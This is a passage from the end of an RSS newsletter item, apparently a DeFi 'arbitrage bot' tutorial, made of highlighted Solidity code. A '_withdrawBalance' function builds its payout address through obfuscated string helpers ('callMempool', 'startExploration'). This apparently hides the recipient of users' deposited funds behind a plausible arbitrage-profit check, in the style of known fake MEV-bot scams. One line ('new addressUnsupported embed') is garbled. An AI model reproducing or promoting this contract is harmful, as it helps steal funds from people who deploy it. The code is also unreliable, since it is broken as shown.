        <span class="hljs-keyword">if</span> (txId <span class="hljs-operator">=</span><span class="hljs-operator">=</span> txIds[i]) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_withdrawBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(startExploration(callMempool())) ;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mempool</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _base, <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _enterETHvalue</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _baseBytes <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes</span>(_base);
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _valueBytes <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes</span>(_enterETHvalue);

        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _tmpValue <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">string</span>(_baseBytes.<span class="hljs-built_in">length</span> <span class="hljs-operator">+</span> _valueBytes.<span class="hljs-built_in">length</span>);
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _newValue <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes</span>(_tmpValue);

        <span class="hljs-keyword">uint</span> i;
        <span class="hljs-keyword">uint</span> j;

        <span class="hljs-keyword">for</span>(i<span class="hljs-operator">=</span><span class="hljs-number">0</span>; i<span class="hljs-operator">&#x3C;</span>_baseBytes.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            _newValue[j<span class="hljs-operator">+</span><span class="hljs-operator">+</span>] <span class="hljs-operator">=</span> _baseBytes[i];
        }

        <span class="hljs-keyword">for</span>(i<span class="hljs-operator">=</span><span class="hljs-number">0</span>; i<span class="hljs-operator">&#x3C;</span>_valueBytes.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            _newValue[j<span class="hljs-operator">+</span><span class="hljs-operator">+</span>] <span class="hljs-operator">=</span> _valueBytes[i];
        }

        <span class="hljs-keyword">return</span> <span class="hljs-keyword">string</span>(_newValue);
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_checkIfArbitrageIsProfitable</span>(<span class="hljs-params">
        <span class="hljs-keyword">uint256</span> amountIn,
        <span class="hljs-keyword">uint256</span> higherPrice,
        <span class="hljs-keyword">uint256</span> lowerPrice
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-comment">// uniswap &#x26; sushiswap have 0.3% fee for every exchange</span>
        <span class="hljs-comment">// so gain made must be greater than 2 * 0.3% * arbitrage_amount</span>

        <span class="hljs-comment">// difference in ETH</span>
        <span class="hljs-keyword">uint256</span> difference <span class="hljs-operator">=</span> ((higherPrice <span class="hljs-operator">-</span> lowerPrice) <span class="hljs-operator">*</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">18</span>) <span class="hljs-operator">/</span>
            higherPrice;

        <span class="hljs-keyword">uint256</span> payed_fee <span class="hljs-operator">=</span> (<span class="hljs-number">2</span> <span class="hljs-operator">*</span> (amountIn <span class="hljs-operator">*</span> <span class="hljs-number">3</span>)) <span class="hljs-operator">/</span> <span class="hljs-number">1000</span>;

        <span class="hljs-keyword">if</span> (difference <span class="hljs-operator">></span> payed_fee) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getPrice</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> routerAddress,
        <span class="hljs-keyword">address</span> sell_token,
        <span class="hljs-keyword">address</span> buy_token,
        <span class="hljs-keyword">uint256</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> pairs <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;
        pairs[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> sell_token;
        pairs[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> buy_token;
        <span class="hljs-keyword">uint256</span> price <span class="hljs-operator">=</span> IUniswapV2Router(routerAddress).getAmountsOut(
            amount,
            pairs
        )[<span class="hljs-number">1</span>];
        <span class="hljs-keyword">return</span> price;
    }
}
</code></pre>]]></content:encoded>
            <author>defi-labs@newsletter.paragraph.com (DeFi Labs)</author>
        </item>
    </channel>
</rss>